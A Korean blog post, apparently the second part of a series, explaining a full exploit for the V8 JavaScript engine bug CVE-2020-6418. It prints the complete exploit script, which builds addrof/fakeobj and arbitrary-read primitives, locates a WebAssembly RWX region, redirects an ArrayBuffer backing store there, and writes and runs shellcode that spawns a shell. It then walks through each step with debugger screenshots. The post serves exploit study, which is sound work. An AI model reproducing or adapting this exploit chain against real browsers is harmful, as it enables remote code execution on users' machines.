이번에는 저번에 설명했던 PoC에 이어서 나머지 Exploit 부분에 대해서 설명해보겠습니다.
이번에도 해당 블로그를 참고하였습니다.
https://cwresearchlab.co.kr/entry/CVE-2020-6418-Incorrect-side-effect-modelling-for-JSCreate




Exploit





전체 소스코드는 다음과 같습니다.




/* ex.js */

let fi_buf = new ArrayBuffer(8);  // shared buffer
let f_buf = new Float64Array(fi_buf);  // buffer for float
let i_buf = new BigUint64Array(fi_buf);  // buffer for bigint

// convert float to bigint
function ftoi(f) {
    f_buf[0] = f;
    return i_buf[0];
}

// convert bigint to float
function itof(i) {
    i_buf[0] = i;
    return f_buf[0];
}

ITERATIONS = 100000;

let a = [0.1, , , , , , , , , , , , , , , 0.2, 0.3, 0.4];
let oob_arr = undefined;  // array for OOB
let obj_arr = undefined;  // array of objects
let buf = undefined;  // ArrayBuffer for shellcode

a.pop();
a.pop();
a.pop();

let shellcode = [106, 104, 72, 184, 47, 98, 105, 110, 47, 47, 47, 115, 80, 72, 137, 231, 104, 114, 105, 1, 1, 129, 52, 36, 1, 1, 1, 1, 49, 246, 86, 106, 8, 94, 72, 1, 230, 86, 72, 137, 230, 49, 210, 106, 59, 88, 15, 5];

function empty() { }

function f(p) {
    a.push(Reflect.construct(empty, arguments, p) ? 3.2378e-319 : 3.2378e-319);  // itof(0xfffen)
    for (let i = 0; i < ITERATIONS; i++) { }
}

let p = new Proxy(Object, {
    get: () => {
        a[1] = {};
        oob_arr = [0.1];
        obj_arr = [{}];
        buf = new ArrayBuffer(shellcode.length);
        return Object.prototype;
    }
});

function main(p) {
    f(p);
    for (let i = 0; i < ITERATIONS; i++) { }
}

for (let i = 0; i < ITERATIONS; i++) { empty(); }
main(empty);
main(empty);
main(p);

// get (compressed) address of object
function addrof(obj) {
    obj_arr[0] = obj;
    return ftoi(oob_arr[4]) & 0xffffffffn;
}

// generate fake object
function fakeobj(addr) {
    let obj_addr = ftoi(oob_arr[4]);
    obj_addr &= 0xffffffff00000000n;
    obj_addr |= addr;
    oob_arr[4] = itof(obj_addr);
    return obj_arr[0];
}

let float_arr_map = ftoi(oob_arr[1]) & 0xffffffffn;  // map of float array

// arbitrary address read
function aar(addr) {
    let elements = addr - 8n;  // elements pointer
    let length = 2n;  // length is 1
    let float_arr_struct = [0.1, 0.2];  // fake float array structure
    float_arr_struct[0] = itof(float_arr_map);
    float_arr_struct[1] = itof((length << 32n) | elements);
    let fake = fakeobj(addrof(float_arr_struct) - 0x10n);  // fake float array
    return ftoi(fake[0]);
}

// allocate rwx memory region
let wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 0, 11]);
let wasmModule = new WebAssembly.Module(wasmCode);
let wasmInstance = new WebAssembly.Instance(wasmModule);
let sh = wasmInstance.exports.main;
let rwx = aar(addrof(wasmInstance) + 0x68n);  // address of rwx memory region

// overwrite backing store
let bs = ftoi(oob_arr[12]);
bs &= 0xffffffffn;
bs |= rwx << 32n;
oob_arr[12] = itof(bs);
bs = ftoi(oob_arr[13]);
bs &= 0xffffffff00000000n;
bs |= rwx >> 32n;
oob_arr[13] = itof(bs);

// execute shellcode
let view = new DataView(buf);
for (let i = 0; i < shellcode.length; i++) {
    view.setUint8(i, shellcode[i]);  // copy shellcode in rwx memory region
}
sh();  // execute




우선 간단하게 이전 내용을 언급해보자면 root cause를 통해 PoC에서 Double 배열을 Object로 변경하면서 OOB가 발생하는 것을 확인했었습니다.
그 사실을 이용한 Exploit입니다.

먼저 PoC 내용 이후부터 설명을 해보면




let p = new Proxy(Object, {
    get: () => {
        a[1] = {};
        oob_arr = [0.1];
        obj_arr = [{}];
        buf = new ArrayBuffer(shellcode.length);
        return Object.prototype;
    }
});




원래 PoC 부분에선 버퍼를 선언하는 부분이 없었는데 버퍼를 선언하는 부분이 생겼습니다.
이 부분 기억하면서 진행하겠습니다.




// allocate rwx memory region
let wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 0, 11]);
let wasmModule = new WebAssembly.Module(wasmCode);
let wasmInstance = new WebAssembly.Instance(wasmModule);
let sh = wasmInstance.exports.main;
let rwx = aar(addrof(wasmInstance) + 0x68n);  // address of rwx memory region




wasmcode를 통해 wasm 바이트 코드를 준비하고 wasmModule을 생성하여 컴파일 정보를 가지고 wasmInstance를 생성하면서
v8이 JIT 컴파일을 진행하여 해당 코드를 담는 메모리를 할당하게 되는데 이때 할당되는 메모리가 rwx권한을 가지고 있는 JIT 영역입니다.

그래서 인스턴스를 생성을 해야 rwx영역이 생긴다고 말할 수 있습니다.
이후 exports를 통해 JIT 컴파일된 코드를 sh()을 이용하여 사용할 수 있게끔 설정을 하는 모습을 볼 수 있습니다.

그 바로 뒷 부분인 wasmInstance에 0x68만큼 더하는 부분을 볼 수 있는데 0x68이라는 오프셋이 나온 이유는
해당 v8 버전에선 JIT컴파일된 코드가 wasmInstance 기준 +0x68위치에 존재한다고 알려져 있기 때문입니다.
이는 v8 버전에 따라 상이해질 수 있으니 직접 분석해보거나 해당 버전의 오프셋 정보에 대해 찾아보면 좋을 것 같습니다.

let rwx = aar(addrof(WasmInstance)+ 0x68n);

이 부분에서 addrof 함수는 아래와 같습니다.




// get (compressed) address of object
function addrof(obj) {
    obj_arr[0] = obj;
    return ftoi(oob_arr[4]) & 0xffffffffn;
}




현재 상황을 기준으로 설명을 해보자면 WasmInstance라는 객체가 들어가게 되고 obj_arr[0] 위치에 해당 객체가 들어가게 됩니다.
이때 oob_arr[4] 부분과 0xffffffffn 를 and 연산을 해주는 것을 볼 수 있습니다.
이런 동작을 하는 이유는 obj_arr[0] = oob_arr[4]인 상태이기 때문인데 이 부분도 사진으로 보겠습니다.




0.png




분석을 위해 해당 취약점이 트리거 되는 부분에 DebugPrint를 찍어서 확인을 해보겠습니다.




1.png




해당 사진은 oob_arr 부분입니다.




1.png




해당 사진은 object_arr 부분입니다.




1.png




이때 oob_aar 배열의 elments 필드가 oob_arr배열의 헤더부분보다 위에 있으므로 elments_field 부분부터 메모리 값을 확인해보면

첫번째 줄을 기준으로 map , length , oob_arr[0] 값이 되고

두번째 줄을 기준으로 map , properties , elements , length 가 됩니다.

이떄 object_aar배열의 헤더 부분과 elements 필드를 보겠습니다.




1.png




윗 부분은 object_aar의 elements 필드 부분이고 순서대로 map , length , object_aar[0] 부분이고

아래쪽은 object_aar 배열의 헤더 부분인데 위에서부터 map , properties , elements , length 입니다.




1.png




해당 사진을 보면 oob_aar field 부분인데 oob_aar은 double형이였기 때문에 8바이트당 1인덱스를 차지하게 됩니다.
그래서 oob_aar[4]의 값을 확인해보면 object_aar의 elements_field 즉 obj[0] 값이 서로 겹치는 것을 확인할 수 있습니다.

그래서 obj_arr[0] = oob_arr[4] 가 되게 됩니다.

이떄 이 값과 0xffffffff를 and 연산을 해주게 되면 사실상 값 & 00000000ffffffffn 계산을 하게 되어 해당 오브젝트의 주소 값을 얻을 수 있습니다.

여기서 나오는 ftoi 와 itof 에 대해 간략히 설명해보면




let fi_buf = new ArrayBuffer(8);  // shared buffer
let f_buf = new Float64Array(fi_buf);  // buffer for float
let i_buf = new BigUint64Array(fi_buf);  // buffer for bigint

// convert float to bigint
function ftoi(f) {
    f_buf[0] = f;
    return i_buf[0];
}

// convert bigint to float
function itof(i) {
    i_buf[0] = i;
    return f_buf[0];
}




서로 같은 버퍼를 가리키고 있고 해당 버퍼값을 float형으로 읽어오는지 혹은 int형으로 읽는지 차이인데
그러면 내가 원하는 형변환을 진행할 수 있습니다.

addrof(WasmInstance)를 거치게 되면 WasmInstance의 주소값이 들어가 있게 되는 상태가 되고 이때 0x68을 더해
JIT 코드가 들어가 있는 영역을 가리키게 됩니다.

이때 aar() 함수로 넘어가게 됩니다.




// arbitrary address read
function aar(addr) {
    let elements = addr - 8n;  // elements pointer
    let length = 2n;  // length is 1
    let float_arr_struct = [0.1, 0.2];  // fake float array structure
    float_arr_struct[0] = itof(float_arr_map);
    float_arr_struct[1] = itof((length << 32n) | elements);
    let fake = fakeobj(addrof(float_arr_struct) - 0x10n);  // fake float array
    return ftoi(fake[0]);
}




이 부분에 대해 차근차근 시작해보면 처음에 elements = addr -8n을 해주는 걸 볼 수 있습니다.
이 이유는 아까의 oob_aar 배열의 값을 예를 들어서 설명해보겠습니다.




1.png




두번째 줄을 보면 map , properties , elements , length 순이라고 했었습니다.
그래서 만약 저희가 JIT 주소를 배열로 릭해오려고 하는거라면 해당 배열의 [0]인덱스 자리에 위치해야 아까 전의 addrof 함수를
사용해서 해당 주소를 가져올 수 있을 것입니다.

다음은 길이를 1로 설정하고 가짜 배열을 만들기 위해 float_arr_struct를 이용하여 float형 배열을 하나 만들어줍니다.
이때 해당 배열의 0번 위치에 map , 1번위치에 elements , length 순으로 넣어주는 걸 볼 수 있습니다.
그 이후에 fakeobj배열을 호출하는데 이때 아까 새로 만들어두었던 float_arr_struct에서 0x10한 값을 인자로 호출합니다.




// generate fake object
function fakeobj(addr) {
    let obj_addr = ftoi(oob_arr[4]);
    obj_addr &= 0xffffffff00000000n;
    obj_addr |= addr;
    oob_arr[4] = itof(obj_addr);
    return obj_arr[0];
}




우선 생각해둬야할 것은 이 함수를 호출하기 전에

` let fake = fakeobj(addrof(float_arr_struct) - 0x10n); `

addrof(float_arr_struct)를 사용하였기 때문에 우리가 아까 확인했던 object_aar[0] = oob_aar[4] 를 기억하면서
보면 현재 addrof 즉 oob_arr[4] 이자 objecct_aar[0] 값에 float_arr_struct 값이 들어가 있습니다.

그래서 이때

` let obj_addr = ftoi(oob_arr[4]);`

를 하게 되면 사실상 float_arr_struct의 주소 값을 들고오는 것과 마찬가지입니다.
이때 해당 주소의 값과 0xffffffff00000000n 가 and 연산을 하는걸 볼 수 있는데
해당 연산을 진행하면 float_arr_struct 객체의 상위 주소를 들고오게되고 해당 상위 주소와 addr 즉 float_arr_struct-0x10 값을
or 연산을 하여 합쳐줍니다. 그러면 float_arr_struct 위치를 0x10만큼 땡기게 됩니다.

이해를 위해 사진을 추가해서 설명해보겠습니다.

소스코드에 DebugPrint를 추가해서 보겠습니다.




1.png




1.png




float_aar_struct 입니다.




1.png




fake 입니다.

float_arr_struct의 elments 포인터가 가리키는 값을 자세히 보면 float_arr_struct 배열의 -0x8 위치에 존재합니다.
그러면 그 부분부터 map , length , float_arr_struct[0] 값이 들어가게 될겁니다.
그래서 0x10만큼 float_arr_struct 값에서 땡겨준겁니다.




1.png




사진을 보면 헷갈릴 수 있는데 빨간색 박스는 float_aar_struct 배열의 map , properties , elements , length이고
초록 박스는 float_aar_struct배열의 elements field 부분입니다.
마지막으로 노란색 박스는 fake 배열의 map , properties
elements , length 입니다.
그래서 간단히 설명하자면 float_aar_struct의 elements필드의 float_aar_struct[1] 필드가 fake 배열의 elements 포인터 값과 겹치게 된겁니다.
그럼 fake 배열의 fake[0]을 읽게 된다면

아까 봤던

let elements = addr - 8n; // elements pointer 부분이 작용하여 map , length 이후 fake[0] 을 읽을떄 비로소 addr 값 자체를 읽어올 수 있게 됩니다.

마지막에

return ftoi(fake[0]); fake[0]의 값을 들고오는 이유는 rwx 영역 즉 addr 값을 들고 오기 위해서라는 걸 알 수 있습니다.

이렇기 때문에

` let fake = fakeobj(addrof(float_arr_struct) - 0x10n);’ 부분에서 0x10을 뺴줘서




1.png




이 부분에서 fake의 elements 포인터 위치에 (addr-0x8) 주소값이 들어가게 해준겁니다.
그러면 fake 입장에선 배열의 값을 들고올때 elements 포인터 (addr(rwx)-0x8)에서 map , length 이후 위치인 fake(0) = rwx 영역의 주소 값을 들고올 수 있게 됩니다.
같은 설명인데 2번 한겁니다.

그럼 이후 들고온 rwx영역의 주소를 가지고 backing store를 덮습니다.




1.png




1.png




// overwrite backing store
let bs = ftoi(oob_arr[12]);
bs &= 0xffffffffn;
bs |= rwx << 32n;
oob_arr[12] = itof(bs);
bs = ftoi(oob_arr[13]);
bs &= 0xffffffff00000000n;
bs |= rwx >> 32n;
oob_arr[13] = itof(bs);




이 부분도 이해하기 쉽게 분석해보겠습니다.




1.png




바뀌기전과 후로 디버깅해보겠습니다.




1.png




해당 사진은 oob_aar과




1.png




buf(버퍼) 입니다. 버퍼의 backing store를 기억해주시길 바라겠습니다.




1.png




이렇게 oob_aar의 elements 필드를 살펴보면 이전 사진에서 봤던 buf의 backing store 값이 oob_aar[12]에 위치하는 모습을 볼 수 있습니다.

그럼 이 값을 bs에 저장을 하고 ffffffffn과 and연산을 하여 오브젝트 주소 값만 살립니다.
이후 해당 주소의 상위비트와 하위비트 모두 rwx 값으로 교체하는 걸 볼 수 있습니다.

간단히 말해서 buf의 backing store 값이 rwx영역 즉 JIT코드가 위치하는 지점으로 변경되었습니다.

그 다음 Debugprint를 확인해서 체크해보겠습니다.




1.png




이제 버퍼의 backing store 포인터 값을 확인해보면




1.png




rwx영역의 시작점으로 변경되어 있는 것을 확인할 수 있습니다.




1.png




이제 마지막으로 이전에 선언해두었던 let shellcode = [106, 104, 72, 184, 47, 98, 105, 110, 47, 47, 47, 115, 80, 72, 137, 231, 104, 114, 105, 1, 1, 129, 52, 36, 1, 1, 1, 1, 49, 246, 86, 106, 8, 94, 72, 1, 230, 86, 72, 137, 230, 49, 210, 106, 59, 88, 15, 5];

셸코드 부분을





// execute shellcode
let view = new DataView(buf);
for (let i = 0; i < shellcode.length; i++) {
    view.setUint8(i, shellcode[i]);  // copy shellcode in rwx memory region
}
sh();  // execute




DataView를 이용하여 rwx영역을 backing store로 가리키고 있는 buf 버퍼에 셸코드를 작성해줍니다.
이후 이전에 wasm 부분을 작성할때 exports 해두었던 sh()함수로 JIT코드들을 실행시키면 우리가 JIT영역에 작성한 셸코드가 실행이 됩니다.




1.png




시연영상